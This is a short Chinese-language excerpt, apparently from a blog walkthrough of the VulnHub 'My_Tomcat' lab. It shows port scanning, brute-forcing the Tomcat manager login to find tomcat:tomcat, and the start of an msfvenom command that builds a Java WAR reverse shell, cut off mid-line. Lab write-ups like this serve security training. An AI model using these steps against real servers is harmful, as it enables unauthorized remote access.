vulnhub My_Tomcat

內網掃描發現目標主機 目標IP 192.168.33.139 掃描端口服務 22 ssh openssh 6.6.1 8080 是apache tomcat 登錄進去 使用bp的爆破 需要設置bses64加密後進行爆破 tomcat:tomcat 使用，msfveom製作war的反彈shell msfvenom -p java/shell_reverse_tcp lhost=192.168.33.

>>阅读原文<<